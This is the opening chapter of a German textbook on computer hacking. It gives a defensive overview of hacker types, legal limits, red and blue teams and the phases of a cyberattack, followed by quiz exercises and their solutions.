Area Network WEP Wired Equivalent Privacy Wi-Fi Wireless Fidelity, Markenbegriff der Wi-Fi Alliance WLAN Wireless LAN WPA Wi-Fi Protected Access XSS Cross-Site-Scripting ZTNA Zero Trust Network Access
Abkürzungsverzeichnis
1
Einleitung/Motivation
Zahlreiche Sicherheitsexperten sind sich seit langem einig: „Es gibt zwei Arten von Unternehmen: Diejenigen, die schon gehackt wurden und diejenigen, die es nur noch nicht wissen“. Dieser Satz hat heute noch nichts an seiner Gültigkeit verloren. Im Gegenteil: Die Angriffe werden immer häufiger, immer raffinierter und oft bleiben die Angreifer lange Zeit unentdeckt, bis sie irgendwann mit einer gut vorbereiteten Attacke losschlagen. Noch nie war die Wahrscheinlichkeit, Opfer eines Ransomwareangriffs zu werden, höher als heute. Alle Unternehmen, Behörden, Hochschulen und Forschungseinrichtungen sind mehr denn je von einer funktionierenden und gut vernetzten IT abhängig. Zahlreiche Unternehmen wie Meta, YouTube, Amazon, Twitter, Netflix, Google, Instagram, um nur die Bekanntesten zu nennen, nutzen das Internet darüber hinaus direkt als Geschäftsgrundlage. Eine Störung des Internets oder der für dessen Betrieb benötigten Infrastruktur verursacht schon in sehr kurzer Zeit einen immensen Schaden. Gleichzeitig gibt es kaum eine Software ohne Lücken oder ohne Programmierfehler, die oft erst Jahre nach der Veröffentlichung bekannt werden und sich über viele Programmgenerationen fortpflanzen, bis sie entdeckt und von Hackern ausgenutzt werden. Die größte Schwachstelle jedoch ist der Mensch vor dem Bildschirm. Durch groß angelegte Phishingattacken, gezieltes Social Engineering von Schlüsselpersonen (Spear Phishing) oder die Anwendung von leicht recherchierbarem „Insider“-Wissen ist der erste Schritt für einen erfolgreichen Angriff meist schon getan. Für diesen ersten Zugang werden meist nur wenig fundierte IT-Kenntnisse seitens der Cyberkriminellen benötigt. Ist der erste Zugang geschafft, ist es nur eine Frage der Zeit, bis dieses Einfallstor von Cyberkriminellen aktiv genutzt wird und sie sich dauerhafte Zugänge, sog. Backdoors, einrichten. Mögliche Schadfunktionen sind die Spionage von Betriebsgeheimnissen oder vertraulichen Informationen, das Löschen, Ableiten oder Verschlüsseln von Daten, oft verbunden mit erpresserischen
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_1
1
2
1 Einleitung/Motivation
Lösegeldforderungen, oder die Störung des Betriebs durch Überlastung der Unternehmensserver durch massenhafte Internetanfragen (Denial of Service). Die Kenntnis typischer Lücken, das Wissen über das Vorgehen von Cyberkriminellen, wie sie sich Zugang erschleichen, und die Kenntnisse, wie sich Hacker in einem fremden Rechnernetz verhalten, um einen Angriff vorzubereiten, sind wichtig, um Angriffe schnell zu erkennen und im besten Fall zu vereiteln. Die Kenntnisse, die wir Ihnen vermitteln, sollen Ihnen zeigen, wie Cyberkriminelle denken, wie sie vorgehen, damit Sie sich schützen können. Dieses Lehrbuch ist daher keine Anleitung, wie Sie fremde Netze infiltrieren. Wir sind der Meinung: nur wenn Sie wissen, wie Hacker denken, können Sie sich schützen und im Falle eines erkannten Angriffs auch dagegen wehren. Aus diesem Grund ist es notwendig zu verstehen, wie Hacking geht, bzw. in vielen Fällen sogar, wie einfach das geht. Meist hat der erste Angriffsversuch auch gar nichts mit vertieften Computerkenntnissen zu tun, denn die Opfer sind sich gar nicht bewusst, wie leichtsinnig sie mit vertraulichen oder persönlichen Informationen umgehen und wie gefährlich das sein kann. Für gezielte Angriffe, die darauf setzen, dass Vertrauen zwischen Opfer und Angreifer aufgebaut wird, sind banalste persönliche Informationen oft von großem Wert. In diesem Buch werden Sie immer wieder Hinweise finden, wie man theoretisch und praktisch in fremde Rechnernetze eindringen könnte. Bitte beachten Sie, dass Sie niemals ohne schriftlichen Auftrag in fremde Systeme einbrechen, sondern immer nur Ihre eigenen Systeme angreifen. Der Einsatz bestimmter Werkzeuge gegen fremde Systeme wäre eine Straftat! Die Kenntnisse, die wir Ihnen vermitteln, sollen Ihnen zeigen, wie Cyberkriminelle denken, wie sie vorgehen und hat nur den Zweck zu vermitteln, wie Sie sich gegen diese Art von Angriffen schützen können. Dieses Lehrbuch ist daher keine Anleitung, mit der Sie fremde Netze infiltrieren können. Wir sind aber der Meinung: Nur wenn Sie wissen, wie Hacker denken und wie sie vorgehen, können Sie sich gegen Cyberangriffe schützen und im Falle einer akuten Attacke auch dagegen wehren. Wer Spaß an diesen Techniken und Methoden hat, kann das Hacken auch legal zu seinem Beruf machen: Als sog. Penetrationstesterin oder Penetrationstester können Sie im Auftrag einer Firma oder Organisation Rechnernetze analysieren, scannen und gegebenenfalls auf Verwundbarkeit hin prüfen. Werden die erkannten Lücken anschließend gestopft, erschweren Penetrationstests den böswilligen Hackern einen Zugriff auf gesicherte Systeme des Auftraggebers. Darüber hinaus können Penetrationstester professionell nach Schwachstellen in Anwendungen suchen, neue Sicherheitsverfahren erforschen oder im Rahmen von Schulungen Rechner-Administratorinnen, -Administratoren und Nutzende auf ein höheres Sicherheitsniveau bringen. Insbesondere die normalen User stellen eine große Gefahr dar: an Fallbeispielen sehen wir immer wieder, dass gehackte, ganz normale Accounts das Einfallstor für Angriffe auf das gesamte Netz einer Einrichtung darstellen. Wenn Sie hingegen die neusten Techniken und Kniffe erlernen wollen, wie man fremde Systeme hackt oder wenn es Ihnen darum geht, Techniken zu erlernen, mit denen man gezielt Personen oder Einrichtungen angreifen oder ausspionieren kann, sollten Sie eher nicht weiterlesen, denn diese Techniken kennen wir selbst nicht.
1.1 Was ist eigentlich ein Hacker?
3
Außerdem möchten wir Sie noch einmal explizit darauf hinweisen, dass das Eindringen in fremde Rechnersysteme (Netze oder Computer), ohne die schriftliche Einwilligung des Betreibers dieser Systeme, mit hohen Strafen belegt ist. Es gibt daher sehr enge rechtliche Grenzen [2]. Hier die wesentlichen Eckpunkte: • Wer sich in gesicherte Firmennetze oder Privatrechner einschleicht, begeht eine Straftat. • Auch ohne Daten auszulesen, droht eine Geldstrafe oder eine Freiheitsstrafe bis zu 2 Jahre. • Wer Daten mit Erpressersoftware verschlüsselt, muss mit einer Freiheitsstrafe bis zu 7 Jahren rechnen. • Handelt ein Angreifer im Auftrag einer Firma und testet dieser die Sicherheitssysteme dieser Firma, bleibt er straffrei, wenn ein schriftlicher Auftrag vorliegt, der auf Verlangen vorgelegt werden kann. • Sobald ein Einbruchsversuch entdeckt wird und zur Anzeige kommt, untersuchen in der Regel IT-Forensiker (privatwirtschaftlich oder die Polizei) den Angriff. • Mitunter reicht die Beschaffung oder der Besitz bestimmter „Hackerwerkzeuge“ für eine Bestrafung aus (Hackerparagraf §202c). Seien Sie also vorsichtig und achten Sie darauf, was Sie tun. Immer wieder kommt es vor, dass übereifrige Systemadministratoren statt des erhofften Lobes von ihren Vorgesetzten eine Abmahnung erhalten, weil sie ohne Auftrag die Integrität der IT und damit den laufenden IT-Betrieb gefährdet haben.
1.1
Was ist eigentlich ein Hacker?
Den typischen Hacker oder die typische Hackerin gibt es nicht! Im allgemeinen Sprachgebrauch ist der Begriff „Hacker“ oder das „Hacken“ jedoch meist negativ belegt und wird als Oberbegriff für Cyberkriminelle aller Art sowie deren Aktivitäten verwendet. Hacker, insbesondere der Begriff des „Ethischen Hackers“ kann jedoch durchaus auch positiv verstanden werden. So hat Wau Holland, einer der Begründer des Chaos Computer Clubs (CCC), einmal definiert: „Ein Hacker ist jemand, der versucht einen Weg zu finden, wie man mit einer Kaffeemaschine Toast zubereiten kann“ [3]. Diese Definition beschreibt den Umstand, dass ein System bis in die kleinsten Details verstanden werden muss, sodass man es auch für Dinge benutzen kann, für die es eigentlich gar nicht konstruiert wurde. Das gilt sinngemäß genauso auch für Computer, Netzwerke, Betriebssysteme, Kommunikationsprotokolle oder Anwendungen. Darüber hinaus vertritt der CCC aber auch ethische Grundlagen des Hackens, die er in seiner „Hackerethik“ [4] zusammenfasst: 1. Der Zugang zu Computern und allem, was einem zeigen kann, wie diese Welt funktioniert, sollte unbegrenzt und vollständig sein.
4
1 Einleitung/Motivation
2. Alle Informationen müssen frei sein. 3. Misstraue Autoritäten – fördere Dezentralisierung. 4. Beurteile einen Hacker nach dem, was er tut, und nicht nach üblichen Kriterien wie Aussehen, Alter, Herkunft, Spezies, Geschlecht oder gesellschaftliche Stellung. 5. Man kann mit einem Computer Kunst und Schönheit schaffen. 6. Computer können dein Leben zum Besseren verändern. 7. Mülle nicht in den Daten anderer Leute. 8. Öffentliche Daten nützen, private Daten schützen. Meist wird unter dem Begriff „Hacker“ allgemein eine Angreiferin oder ein Angreifer verstanden, mit dem Ansinnen, unbefugt in ein fremdes IT-System einzudringen. Unter den Cyberkriminellen gibt es jedoch nicht den einen „Hacker“, sondern eher sehr verschiedene Hackertypen mit unterschiedlichem technischen Hintergrund und ganz verschiedenen Zielen: • Black-Hats: Qualifizierte Cyberkriminelle mit bösen Absichten, also Personen, die Schwachstellen aus krimineller Energie ausnutzen. Sie werden in Hackerkreisen auch als „Cracker“ bezeichnet, um sie klar von einer positiven Belegung des Begriffs „Hacker“ zu unterscheiden. • White-Hats: Personen, die ihre Hacking-Kenntnisse zur Abwehr von Cyberangriffen einsetzen. • Grey-Hats: Personen, die die Lager zwischen White-Hats und Black-Hats je nach Bedarf wechseln. • Suicide-Hackers: Personen, die kritische Infrastrukturen beschädigen wollen und denen eine daraus folgende Bestrafung egal ist. • Script-Kiddies: Unqualifizierte Cyberkriminelle, die Werkzeuge nutzen, die Black-Hats entwickelt und in Umlauf gebracht haben. • Cyberterrorist: Religiös oder politisch motivierter Black-Hat, der durch großangelegte Angriffe auf kritische Infrastrukturen Angst und Schrecken verbreiten will. • State-sponsored Hacker: Hacker, die im Auftrag eines Staates oder einer Regierung fremde Systeme infiltrieren. • Hacktivist: Politisch motivierter Hacker, der durch Kapern oder Außerbetriebnahme einer Webpräsenz Aufmerksamkeit erreichen will. Die Unterschiede und verschiedenen Motivationen der verschiedenen Hackertypen haben einen entscheidenden Einfluss auf die Schutzmaßnahmen, die zur Abwehr von Hackerangriffen getroffen werden müssen1 . 1 Die Begriffe „White Hat“ und „Black Hat“ stammen dabei aus der Beobachtung alter verfilmter
Western, in denen der „Gute“ immer einen weißen oder zumindest hellen Hut und der „Böse“ stets einen schwarzen Hut trägt.
1.1 Was ist eigentlich ein Hacker?
5
Zur Durchführung von IT-Security-Übungen wird die Cyberabwehr in größeren Unternehmen oft in zwei Teams aufgeteilt, die gegeneinander antreten: Das „Red Team“ nimmt dabei die Rolle eines Angreifers ein, während das „Blue Team“ versucht, diese Übungsangriffe zu erkennen und abzuwehren. Red Teams führen Penetration Tests durch, wenden Phishing, Social Engineering und andere Tricks an, um das Bewusstsein (Awareness) bei den Mitarbeitenden zu erhöhen. Außerdem sucht das Red Team nach Lücken über PortScans und Schwachstellen in der Netz- und Systemkonfiguration. Das Blue Team hingegen übernimmt das Überwachen des Firmennetzes, der eingesetzten Server und der Clients. Es versucht so Angriffe frühzeitig zu erkennen, sie einzugrenzen und abzuwehren. Außerdem sammelt das Blue Team Metadaten über den Datenverkehr sowie Logdateien für forensische Untersuchungen und führt Schulungsmaßnahmen der Mitarbeitenden durch. Damit haben beide Teams unterschiedliche Aufgaben und Ziele (Abb. 1.1). Das Red Team, das auch als Penetrationstester bezeichnet wird, versucht mögliche Angriffspunkte und Sicherheitslücken zu entdecken. Das Blue Team hingegen versucht bei detektierten Angriffen den Schaden zu begrenzen und einen Angriff möglichst abzuwehren. Man nennt das Blue Team deshalb auch Computer Emergency Response Team oder kurz das CERT. In diesem Zusammenhang soll der Begriff des ethischen Hackers noch ein wenig präzisiert werden [5]: Ein ethischer Hacker ist ein Computer- und Netzwerkexperte, der Sicherheitssysteme im Auftrag ihrer Eigentümer angreift. Dabei sucht er nach Schwachstellen, die auch ein Hacker mit bösartigen Absichten ausnutzen könnte. Zum Testen eines Sicherheitssystems bedienen sich ethische Hacker der gleichen Verfahren wie Black-Hats. Allerdings melden sie erkannte Probleme an ihre Auftraggeber und nutzen sie nicht zu ihrem eigenen Vorteil aus. Ethisches Hacking wird auch als Penetrationstest für Anwendungen, Intrusion-Test und Red-Teaming bezeichnet.
Abb. 1.1 Red- und Blue-Team
6
1 Einleitung/Motivation
Die Fragen eines ethischer Hackers sind demnach: • • • • • •
Was kann man als Angreifer auf einem System sehen? Was kann man als Angreifer mit dieser Information erreichen? Kann ein Angriff im Rechnernetz überhaupt erkannt werden? Sind alle Komponenten ausreichend geschützt? Sind alle Systeme auf dem neusten Softwarestand? Entsprechen die eingesetzten Sicherheitsmaßnahmen allgemeinen und gesetzlich vorgeschriebenen Sicherheitsstandards?
Das Ziel eines ethischen Hackers besteht also darin, die Sicherheit eines IT-Systems zu erhöhen, indem aktiv nach Sicherheitslücken gesucht wird. Gefundene Schwachstellen werden gemeldet, sodass diese von einem IT-Verantwortlichen oder Softwareentwickler geschlossen werden können, bevor bösartige Cyberkriminelle die Lücke für ihre Zwecke missbrauchen.
1.2
Angriffe auf Rechnersysteme
Unter dem Begriff Cyberangriff werden alle Angriffe auf IT-Systeme wie Informationssysteme, Rechnernetze, Serversysteme oder einzelne Endgeräte wie PCs, Tablets oder Mobilgeräte verstanden. Dabei können sich diese Angriffe sehr stark unterscheiden. Es gibt auch nicht nur den einen Angriffsweg oder das eine Angriffsziel. Hier eine Auswahl unterschiedlicher Angriffsmöglichkeiten: • Angriff auf virtualisierte Umgebungen (Cloud): Der Angriff erfolgt auf gemeinsam genutzter Hardware in Rechnern in der Cloud über Fehler in der Anwendungsprogrammierung oder der Hardware. Dabei versuchen Angreifer aus einer virtualisierten Umgebung auszubrechen und auf andere virtuelle Maschinen (VM) zuzugreifen, die auf derselben Hardware laufen (vgl. Meltdown und Spectre [6]). • Botnet: Ein Netzwerk kompromittierter Rechnersysteme, das für Netzwerkangriffe eingesetzt werden kann. Die Betreiber solcher Botnetze benutzen diese zum Beispiel für Denial-of-Service-Angriffe oder zum massenhaften Versand von SPAM-E-Mails. • Persistente Angriffe: Dauerhaftes Stehlen von Informationen, ohne dass das Opfer etwas davon mitbekommt. Zu diesen Informationen gehören zum Beispiel Zugangsdaten. Mit sogenannten Rootkits können weitere Zugangsmöglichkeiten (Backdoors) eingerichtet werden, mit denen sich die Cyberkriminellen dauerhaft Zugang zu dem System verschaffen. Oft dienen diese Art von Angriffen der Wirtschaftsspionage oder der Vorbereitung eines Ransomwareangriffs, bei dem später möglichst viele Systeme verschlüsselt werden. • Viren und Würmer: Angriff mit Schadsoftware über ein Netzwerk mit dem Ziel weitere Systeme zu infizieren. Dabei geht es den Angreifern darum, möglichst viele der erreichbaren Systeme zu infizieren, um sie später mit einem Ransomwareangriff zu verschlüsseln,
1.2
•
•
• •
•
Angriffe auf Rechnersysteme
7
dieses Systeme in ein Botnet zu integrieren oder die Tastatureingaben mitzulesen oder zu manipulieren. Mobile Systeme: Angriffe auf Mobiltelefone und Tablets, die mangels Updates schlechter geschützt sind als normale PCs oder Server. Oft bleiben mobile Endgeräte im Einsatz, auch wenn der Hersteller keine Updates mehr bereitstellt. Sicherheitslücken werden deshalb nicht mehr geschlossen. Internet of Things: Angriffe auf Geräte, die über das Internet gesteuert werden oder die ihre Daten über das Internet austauschen. In diese Kategorie gehören auch Produktionsanlagen oder Großgeräte. Insiderangriff: Angriff durch eine Person, die Zugriffsrechte auf ein Rechnersystem besitzt, mit dem Ziel, ihre Kenntnisse zu nutzen, um die eigene Organisation zu schädigen. Man-in-the-Middle: Die Angreifer lesen den (unverschlüsselten) Datenverkehr zwischen Server und Client mit oder schalten sich so dazwischen, dass sie dem Client vorgaukeln, der Server zu sein und umgekehrt. Dabei wird der Datenverkehr aufgezeichnet und kann offline entschlüsselt werden. Zero-Day-Attacke: Angriff über einen Zero-Day-Exploit, der eine Schwachstelle nutzt, die nur dem Entdecker bekannt ist und für die ein Hersteller folglich noch keine Gegenmaßnahme oder Patches bereitstellen konnte. Meist werden diese Schwachstellen erst bekannt, wenn Angriffe unter Verwendung dieser Schwachstelle entdeckt werden.
Laut Bundesamt für Sicherheit in der Informationstechnik (BSI) sind dabei die folgenden Angriffsformen und die daraus entstehenden Gefährdungen besonders bedrohlich [7]: • Gezieltes Hacking von Webservern mit dem Ziel der Installation von Schadsoftware oder zur Vorbereitung von Spionage in erreichbaren Netzen oder Datenbanken. • Drive-by-Exploits zur breitflächigen Infiltration von Rechnern mit Schadsoftware beim Surfen im Internet, mit dem Ziel der Übernahme der Kontrolle des betroffenen Rechners. • Gezielte Schadsoftwareinfiltration per E-Mail und mithilfe von Social Engineering, mit dem Ziel der Übernahme der Kontrolle über den betroffenen Rechner und anschließender Spionage. • Distributed-Denial-of-Service-Angriffe (DDoS) mittels Botnetzen mit dem Ziel der Störung der Erreichbarkeit von Webservern oder der Störung der Funktionsfähigkeit der Netzanbindung der betroffenen Institution. • Ungezielte Verteilung von Schadsoftware mittels Spam oder Drive-by-Exploits mit Fokus auf Identitätsdiebstahl. • Mehrstufige Angriffe, bei denen z. B. zunächst zentrale Sicherheitsinfrastrukturen (wie TLS/SSL-Zertifizierungsstellen) kompromittiert werden, um dann in weiteren Schritten die eigentlichen Ziele anzugreifen. Die meisten Cyberangriffe laufen nach einem ähnlichen Muster ab. Man kann deshalb auch von Phasen eines typischen Angriffs sprechen. Diese Phasen sind in Abb. 1.2 dargestellt.
8
1 Einleitung/Motivation
Abb. 1.2 Phasen eines Cyberangriffs nach BSI [7]
Das BSI unterteilt die Phase 1 in die Festlegung des Angriffszwecks, die Identifikation des Angriffsziels und die Festlegung der Angriffsart. Dabei wird zwischen gezielten Angriffen und Flächenangriffen unterschieden. Die Phase 2 beinhaltet die Informationssammlung (Footprinting, Fingerprinting), die Vorbereitung der Angriffswerkzeuge und die Auswahl einer Tarnung des geplanten Angriffs. Anschließend werden bei Phase 3 (Durchführung) die ausgewählte Angriffsmethode angewendet, weitere Angriffspunkte identifiziert und die Spuren verwischt. Wurde das Angriffsziel bei einem ersten Cyberangriff nicht erreicht, werden in der Regel Folgeangriffe mit modifizierten Zielen oder verbesserten Angriffswerkzeugen durchgeführt. Dabei werden die Angreifer stets nur so weit gehen, wie es notwendig ist, um das ursprüngliche Angriffsziel zu erreichen. Dieses Vorgehen dient auch dazu, keine unnötigen Informationen über den Kenntnisstand oder die Identität der Angreifer2 preiszugeben. Vergleicht man die Phasen eines typischen Angriffs mit dem Ablauf erkannter und forensisch untersuchter Angriffe, so kann man ein typisches Drehbuch eines Cyberangriffs erkennen (Abb. 1.3). Die einzelnen Schritte lassen sich in etwa wie folgt umschreiben:
2 Über die Art und Weise, wie Angreifer vorgehen, welche Werkzeuge oder Schadsoftware sie ein-
setzen, ordnen Forensiker erkannte Angriffe immer wieder bestimmten Gruppen zu.
1.2
Angriffe auf Rechnersysteme
9
Abb. 1.3 Typischer Ablauf eines Cyberangriffs
1. Ausspähen von Rechnersystemen oder Zielpersonen: Information über ein System (oder eine Person) sammeln, ohne es anzugreifen. Dabei geht es darum, mögliche Ziele auszuspähen, um Schwachstellen zu finden und die Abwehrmechanismen zu erkennen, mit denen sich das Ziel absichert. Das kann entweder passiv über Suche im Internet oder aktiv durch Kontakt mit dem Zielsystem/der Zielperson erfolgen. Das Ausspähen finden oft Monate oder sogar Jahre vor dem eigentlichen Angriff statt. 2. Scanning: Abfragen von Informationen über das Zielsystem. Suche nach bekannten Sicherheitslücken der laufenden Anwendungen. Einsatz von speziellen PortscanningWerkzeugen, um geeignete Lücken zu finden. Dabei sind interessante Informationen für einen Angriff: Eine Liste der erreichbaren Server und Clients im Netz, offene Ports, die verbauten Netzwerkkomponenten, die Netzwerkstruktur, Details über die eingesetzten Betriebssysteme und Systemarten. Wie lange läuft ein System bereits ohne Reboot? Auch das Scanning findet oft Monate vor dem eigentlichen Angriff statt. 3. Zugang erlangen: Der Zugang erfolgt über das Betriebssystem, eine Applikation oder die Netzwerkschnittstelle. Mögliche Angriffe sind: Passwörter knacken/Phishing, Buffer Overflow, Denial of Service, Überlastung, Übernahme von Sitzungen, Code Injection
10
1 Einleitung/Motivation
oder Cross-Site-Scripting. Das Ziel in dieser Phase besteht darin, einen Zugang zu den Systemen des Opfers zu bekommen, ohne aufzufallen. Meist werden die Angreifer in dieser Phase nicht erkannt. 4. Privilege Escalation (Rechteausweitung) und Lateral Movement: Bei der Rechteausweitung geht es dem Angreifer um das Erreichen von erhöhten Rechten (z. B. Administratorrechten) durch Ausnutzung bekannter Fehler oder fehlerhafte Konfigurationen von Betriebssystemen oder Anwendungen. Das Ziel sind Mailserver, Dokumentenserver und Laufwerke sowie Domänencontroller, die noch nicht auf dem letzten Patchstand gehoben wurden und daher angreifbar sind. Das Ziel von Lateral Movement (Seitwärtsbewegung) ist die Präsenz im Zielnetz zu festigen und auszubauen oder nach Daten zu suchen, die sich eignen, um die Opfer später zu erpressen. Dabei nutzen die Angreifer bekannte Zugänge, um andere Systeme zu übernehmen oder einen Zugang auf weitere Systeme zu erlangen, um diese auszuspähen. Diese Phase findet oft Wochen bis Monate vor dem eigentlichen Angriff statt. Da die Angreifer erste Spuren hinterlassen, können sie von einem Blue Team oder einem Intrusion Detection System grundsätzlich erkannt werden. Die Cyberkriminellen versuchen also behutsam vorzugehen, um nicht aufzufallen. 5. Dauerhaften Zugang einrichten: Diese Phase dient dem Einrichten von dauerhaften Backdoors und Rootkits durch verändern der Konfiguration eines Systems. Dieser Schritt dient der Vorbereitung weiterer Attacken. Dauerhafte Zugänge sind die Voraussetzung, dass die Cyberkriminellen jederzeit wieder zurückkommen können, um die Vorbereitungen fortzuführen. Falls das Ziel eines Angreifers im dauerhaften Abgreifen von Firmengeheimnissen liegt, ist die Einrichtung eines Backdoors evtl. das Ende der Angriffsmission. Falls die Angreifer im Auftrag handeln, werden die dauerhaften Zugangsdaten an den Auftraggeber übergeben. 6. Spuren verwischen oder angreifen: Um möglichst unerkannt zu bleiben, werden Logdateien überschrieben oder manipuliert. Je nach Angriffszweck erfolgt in diesem Schritt das Hochladen, Herunterladen oder die Manipulation von Daten. Ein weiteres Ziel könnte sein, Backups unbrauchbar zu machen und anschließend über eine Ransomwareattacke Laufwerke zu verschlüsseln. Ransomwareattacken dienen meist dem Erpressen von Lösegeld (Ransom) für die Bekanntgabe eines Schlüssels zum Entschlüsseln der Daten. Nicht immer werden diese Schritte bei einem Cyberangriffs vollständig durchlaufen. Es gab schon Fälle, bei denen Zugangsdaten Jahre vor dem eigentlichen Angriff erbeutet und für zukünftige Angriffe zurückgelegt wurden, ohne dass sie jemals aktiv ausgenutzt wurden. Außerdem stellt Wirtschaftsspionage zunehmend eine Bedrohung dar. Hier geht es den Angreifern gerade darum, nicht aufzufallen, sondern die Spuren zu verwischen, um über einen längeren Zeitraum Betriebsgeheimnisse zu erfahren und diese zu verkaufen oder einem Auftraggeber zur Verfügung zu stellen. So wurde beispielsweise im Rahmen der CoronaEpidemie, während der Entwicklung der zur Bekämpfung notwendigen Impfstoffe, eine Angriffswelle aus Nordkorea auf Forschungseinrichtungen und Entwicklungslabors beobachtet [8]. Laut Handelsblatt sind russische und chinesische Cyberattacken auf deutsche Unternehmen im Jahr 2022 sprunghaft angestiegen [9].
1.3
Aufgaben & Lösungen zu diesem Kapitel
11
Schon deshalb ist es notwendig, erkannte Lücken sofort zu schließen oder jeglichen Spuren nachzugehen, die Cyberkriminelle hinterlassen. Im besten Fall sperrt man auf diese Weise Angreifer aus, die sich gerade auf einen umfassenden Cyberangriff vorbereiten. Zumindest legt man die Latte höher, sodass es den Angreifern vielleicht zu aufwendig wird, weil sie mit den einfachen Mitteln nicht sofort zum Ziel kommen.
1.3
Aufgaben & Lösungen zu diesem Kapitel
1.3.1
Aufgaben
1.1 Im Folgenden sind mehrere Hackertypen beschrieben. Um welchen Typ handelt es sich jeweils? Schadfunktion Typ Qualifizierte Hacker mit bösen Absichten Personen, die ihre Hackerkenntnisse zur Abwehr von Angriffen einsetzen Personen, die kritische Infrastrukturen beschädigen wollen und denen eine Bestrafung egal ist Unqualifizierter Hacker, die Werkzeuge nutzen, die ein Black-Hat entwickelt hat Hacker, die im Auftrag eines Staates fremde Systeme hacken
1.2 Mit dem Begriff „Hacktivist“ bezeichnet man: 1. Personen, die kritische Infrastrukturen beschädigen wollen und denen eine Bestrafung egal ist. 2. Religiös oder politisch motivierte Hacker, die durch großangelegte Angriffe Angst und Schrecken verbreiten wollen. 3. Hacker, die im Auftrag eines Staates fremde Systeme hacken. 4. Politisch motivierte Hacker, die durch kapern oder Außerbetriebnahme einer Webpräsenz Aufmerksamkeit erreichen wollen. 1.3 Wie nennt man einen Angriffsvektor, der eine Lücke in einer Anwendung nutzt, bevor ein Hersteller einen Patch freigegeben hat? 1.4 Was gehört zu den typischen Aufgaben eines Red Teams? 1. Simulation von Angriffen 2. Analyse von Angriffen
12
1 Einleitung/Motivation
3. Ausspähen von Identitäten 4. Durchführung von Abwehrmaßnahmen 5. Awareness-Schulungen 1.5 Unter dem Begriff „Vulnerability“ versteht man: 1. Angriffsvektor, der eine Lücke in einer Anwendung nutzt, bevor der Softwareentwickler einen Patch freigegeben hat. 2. Existenz einer Lücke, Designfehlers oder Implementierungsfehlers mit Auswirkungen auf die Systemsicherheit. 3. Verfahren oder ein Script, das benutzt wird um eine Lücke in einem IT-System erfolgreich auszunutzen. 4. Zugang zu einem Computer wird genutzt, um auf weitere Knoten mit gesuchten Informationen zu gelangen. 1.6 Welche Schritte gehören in die Phase der Angriffsvorbereitung? 1.7 Welche Aussagen sind korrekt? 1. Cyberkriminelle nutzen Lateral Movement zur Ausweitung der Rechte in einem System 2. Über Privilege Escalation kann ein Cyberkrimineller zum Administrator eines Systems werden 3. Für das Lateral Movement werden kompromittierte Accounts und Passwörter verwendet 4. Privilege Escalation dient der Suche angreifbarer Rechner
1.3.2
Lösungen
1.1 Schadfunktion Qualifizierte Hacker mit bösen Absichten Personen, die ihre Hackerkenntnisse zur Abwehr von Angriffen einsetzen Personen die kritische Infrastrukturen beschädigen wollen und denen eine Bestrafung egal ist Unqualifizierter Hacker, die Werkzeuge nutzen die ein Black-Hat entwickelt hat Hacker, die im Auftrag eines Staates fremde Systeme hacken
Typ Black-Hats White-Hats Suicide-Hackers
Script-Kiddies State-Sponsored-Hacker
Literatur
13
1.3 Zero-Day-Exploit 1.4 Antworten 1. und 3. 1.5 Antwort 2. 1.6 In die Angriffsvorbereitung gehören: 1. Informationssammlung 2. Auswahl der Angriffswerkzeuge 3. Angriffstarnung 1.7 Antworten 2. und 3. 1.7 Antwort 4.
Literatur 1. Comey, J.: Interview mit Fernsehesender CBS, Spiegel Artikel (2014). https://www.spiegel.de/ netzwelt/netzpolitik/fbi-chef-james-comey-im-interview-mit-cbs-ueber-cybercrime-a-995590. html. Aufgerufen 20. Apr. 2022 2. Bundesamt für Justiz: Strafgesetzbuch. https://www.gesetze-im-internet.de/stgb. (2022) Aufgerufen am 20. Apr. 2022 3. Benezeder, J.: Hacker mit Ethik. https://www.die-stiftung.de/stiftungen-im-portraet/wauholland-hacker-mit-ethik-92530/ (2021) Aufgerufen am 30. Aug. 2022 4. Chaos Computer Club: Hackerethik. https://www.ccc.de/de/hackerethik (2022). Aufgerufen am 30. Aug. 2022 5. Computer Weekly: Definition Ethische Hacker. https://www.computerweekly.com/de/definition/ Ethische-Hacker (2007). Aufgerufen am 31. Mai 2022 6. Heise: Meltdown und Spectre. https://www.heise.de/thema/Meltdown-und-Spectre (2022). Aufgerufen am 09. Sep.2022 7. BSI: Register aktueller Cyber-Gefährdungen und -Angriffsformen v2.0. https://www.allianz-fuercybersicherheit.de/SharedDocs/Downloads/Webs/ACS/DE/BSI-CS/BSI-CS_026.pdf (2018). Aufgerufen am 6. Sep. 2022 8. Neuerer, D.: Deutsche Impfstoffunternehmen im Visier nordkoreanischer Hacker. https:// www.handelsblatt.com/politik/deutschland/warnung-des-verfassungsschutzes-deutscheimpfstoffunternehmen-im-visier-nordkoreanischer-hacker/26847108.html (2021). Aufgerufen am 16. Sep. 2022 9. Neuerer, D.: Russische Cyberattacken auf deutsche Unternehmen steigen sprunghaft an. https://www.handelsblatt.com/politik/deutschland/bitkom-studie-russische-cyberattacken-aufdeutsche-unternehmen-steigen-sprunghaft-an/28639888.html (2022). Aufgerufen am 16. Sep. 2022
Teil I Technische Grundlagen
2
Grundlagen
Die Bewunderung für Hacker ist wohl auch darin begründet, dass diese besonders gut verstehen, wie Computer funktionieren und wie sie kommunizieren. Die hier aufgeführten technischen Grundlagen sind deshalb eine Übersicht über etablierte Techniken, deren rudimentäre Kenntnis notwendig ist, um zu verstehen, wie Cyberkriminelle grundsätzlich vorgehen können. Dabei geht es an dieser Stelle mehr darum, diese Techniken aufzuzählen, als sie im Detail zu vertiefen.
2.1
Betriebssysteme
